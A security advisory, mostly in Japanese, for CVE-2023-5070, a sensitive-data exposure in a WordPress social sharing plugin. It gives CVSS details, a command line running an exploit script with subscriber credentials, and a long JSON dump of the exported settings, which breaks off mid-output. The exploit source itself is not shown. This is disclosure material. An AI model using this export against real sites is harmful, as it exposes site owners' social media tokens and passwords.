Social Media Share Buttons & Social Sharing Icons <= 2.8.5 - 情報漏洩
WordPress用プラグイン Social Media Share Buttons & Social Sharing Icons は、バージョン2.8.5以前において、sfsi_save_export関数を介して機密情報漏洩の脆弱性があります。これにより、購読者がソーシャルメディアの認証トークンやシークレット、さらにアプリパスワードを含むプラグイン設定をエクスポートできる可能性があります。
Severity: medium
CVE ID: CVE-2023-5070
CVSS Score: 6.5
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Plugin Slug: ultimate-social-media-icons
WPScan URL: https://www.wpscan.com/plugin/ultimate-social-media-icons
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/e9e43c5b-a094-44ab-a8a3-52d437f0e00d?source=api-prod
python3 exploit.py --url http://wordpress.lan --username user --password useruser1
Logged in successfully.
{
"option1": {
"sfsi_rss_display": "yes",
"sfsi_email_display": "yes",
"sfsi_facebook_display": "yes",
"sfsi_twitter_display": "yes",
"sfsi_youtube_display": "yes",
"sfsi_pinterest_display": "yes",
"sfsi_telegram_display": "yes",
"sfsi_vk_display": "no",
"sfsi_ok_display": "no",
"sfsi_wechat_display": "no",
"sfsi_weibo_display": "no",
"sfsi_linkedin_display": "yes",
"sfsi_instagram_display": "yes",
"sfsi_custom_files": "",
"sfsi_whatsapp_display": "yes",
"sfsi_snapchat_display": "no",
"sfsi_fbmessenger_display": "no",
"sfsi_reddit_display": "no",
"sfsi_tiktok_display": "no",
"sfsi_copylink_display": "no",
"sfsi_mastodon_display": "no"
},
"option2": {
"sfsi_rss_url": "http://wordpress.lan/feed/",
"sfsi_rss_icons": "email",
"sfsi_email_url": "https://follow.it/now",
"sfsi_facebookPage_option": "no",
"sfsi_facebookPage_url": "",
"sfsi_facebookLike_option": "yes",
"sfsi_facebookShare_option": "yes",
"sfsi_twitter_followme": "no",
"sfsi_twitter_followUserName": "",
"sfsi_twitter_aboutPage": "yes",
"sfsi_twitter_page": "no",
"sfsi_twitter_pageURL": "",
"sfsi_twitter_aboutPageText": "Hey, check out this cool site I found: www.yourname.com #Topic via@my_twitter_name",
"sfsi_youtube_pageUrl": "",
"sfsi_youtube_page": "no",
"sfsi_youtubeusernameorid": "",
"sfsi_ytube_chnlid": "",
"sfsi_youtube_follow": "no",
"sfsi_pinterest_page": "no",
"sfsi_pinterest_pageUrl": "",
"sfsi_pinterest_pingBlog": "",
"sfsi_instagram_page": "no",
"sfsi_instagram_pageUrl": "",
"sfsi_linkedin_page": "no",
"sfsi_linkedin_pageURL": "",
"sfsi_linkedin_follow": "no",
"sfsi_linkedin_followCompany": "",
"sfsi_linkedin_SharePage": "yes",
"sfsi_linkedin_recommendBusines": "no",
"sfsi_linkedin_recommendCompany": "",
"sfsi_linkedin_recommendProductId": "",
"sfsi_CustomIcon_links": "",
"sfsi_telegram_msg_option": "yes",
"sfsi_telegram_page": "",
"sfsi_telegram_pageURL": "",
"sfsi_telegram_message": "",
"sfsi_telegram_username": "",
"sfsi_telegram_messageName": "",
"sfsi_whatsapp_share": "yes",
"sfsi_whatsapp_msg": "",
"sfsi_weibo_page": "yes",
"sfsi_weibo_pageURL": "",
"sfsi_vk_page": "yes",
"sfsi_vk_pageURL": "",
"sfsi_vk_share": "",
"sfsi_ok_page": "yes",
"sfsi_ok_pageURL": "",
"sfsi_wechat_share": "share",
"sfsi_wechat_follow": "",
"sfsi_snapchat_pageURL": "",
"sfsi_tiktok_page": "",
"sfsi_tiktok_pageURL": "",
"sfsi_fbmessenger_share": "yes",
"sfsi_fbmessenger_contact": "",
"sfsi_reddit_pageShare": "yes",
"sfsi_reddit_page_visit": "",
"sfsi_mastodon_page": "yes",
"sfsi_mastodon_pageURL": "",
"sfsi_wechatShare_option": "yes"
},
"option3": {
"sfsi_mouseOver": "no",
"sfsi_mouseOver_effect": "fade_in",
"sfsi_mouseOver_effect_type": "same_icons",
"mouseover_other_icons_transition_effect": "flip",
"sfsi_shuffle_icons": "no",
"sfsi_shuffle_Firstload": "no",
"sfsi_shuffle_interval": "no",
"sfsi_shuffle_intervalTime": "",
"sfsi_actvite_theme": "default",
"sfsi_copylink_bgColor": ""
},
"option4": {
"sfsi_display_counts": "yes",
"sfsi_email_countsDisplay": "yes",
"sfsi_email_countsFrom": "source",
"sfsi_email_manualCounts": 20,
"sfsi_rss_countsDisplay": "yes",
"sfsi_rss_manualCounts": 20,
"sfsi_facebook_countsDisplay": "yes",
"sfsi_facebook_countsFrom": "manual",
"sfsi_facebook_mypageCounts": "",
"sfsi_facebook_manualCounts": 20,
"sfsi_twitter_countsDisplay": "no",
"sfsi_twitter_countsFrom": "manual",
"sfsi_twitter_manualCounts": 20,
"tw_consumer_key": "",
"tw_consumer_secret": "",
"tw_oauth_access_token": "",
"tw_oauth_access_token_secret": "",
"sfsi_linkedIn_countsDisplay": "no",
"sfsi_linkedIn_countsFrom": "manual",
"sfsi_linkedIn_manualCounts": 20,
"sfsi_youtube_countsDisplay": "no",
"sfsi_youtube_countsFrom": "manual",
"sfsi_youtube_manualCounts": 20,
"sfsi_youtube_user": "",
"sfsi_youtube_channelId": "",
"sfsi_pinterest_countsDisplay": "no",
"sfsi_pinterest_countsFrom": "manual",
"sfsi_pinterest_manualCounts": 20,
"sfsi_instagram_countsFrom": "manual",
"sfsi_instagram_countsDisplay": "no",
"sfsi_instagram_manualCounts": 20,
"sfsi_instagram_User": "",
"sfsi_instagram_clientid": "",
"sfsi_instagram_appurl": "",
"sfsi_instagram_token": "",
"sfsi_telegram_countsDisplay": "no",
"sfsi_telegram_manualCounts": 20,
"sfsi_vk_countsDisplay": "",
"sfsi_vk_manualCounts": 20,
"sfsi_ok_countsDisplay": "",
"sfsi_ok_manualCounts": 20,
"sfsi_weibo_countsDisplay": "",
"sfsi_weibo_manualCounts": 20,
"sfsi_wechat_countsDisplay": "",
"sfsi_wechat_manualCounts": 20,
"sfsi_whatsapp_countsDisplay": "no",
"sfsi_whatsapp_manualCounts": 20,
"sfsi_tiktok_countsDisplay": "",
"sfsi_tiktok_manualCounts": 20,
"sfsi_mastodon_countsDisplay": "",
"sfsi_mastodon_manualCounts": 20,
"sfsi_fbmessenger_countsDisplay": "",
"sfsi_fbmessenger_manualCounts": 20,
"sfsi_snapchat_countsDisplay": "",
"sfsi_snapchat_manualCounts": 20,
"sfsi_reddit_countsDisplay": "",
"sfsi_reddit_manualCounts": 20,
"sfsi_round_counts": "yes",
"sfsi_original_counts": "yes",
"sfsi_responsive_share_count": "yes",
"sfsi_youtubeusernameorid": "name"
},
"option5": {
"sfsi_icons_size": "40",
"sfsi_icons_spacing": "5",
"sfsi_icons_Alignment": "left",
"sfsi_icons_Alignment_via_widget": "left",
"sfsi_icons_Alignment_via_shortcode": "left",
"sfsi_icons_perRow": "5",
"sfsi_follow_icons_language": "Follow_en_US",
"sfsi_facebook_icons_language": "Visit_us_en_US",
"sfsi_youtube_icons_language": "Visit_us_en_US",
"sfsi_twitter_icons_language": "Visit_us_en_US",
"sfsi_linkedin_icons_language": "en_US",
"sfsi_icons_language": "en_US",
"sfsi_icons_ClickPageOpen": "yes",
"sfsi_icons_AddNoopener": "yes",
"sfsi_icons_suppress_errors": "no",
"sfsi_show_admin_popup": "yes",
"sfsi_icons_sharing_and_traffic_tips": "yes",
"sfsi_icons_stick": "no",
"sfsi_rssIcon_order": "1",
"sfsi_emailIcon_order": "2",
"sfsi_facebookIcon_order": "3",
"sfsi_twitterIcon_order": "4",
"sfsi_youtubeIcon_order": "5",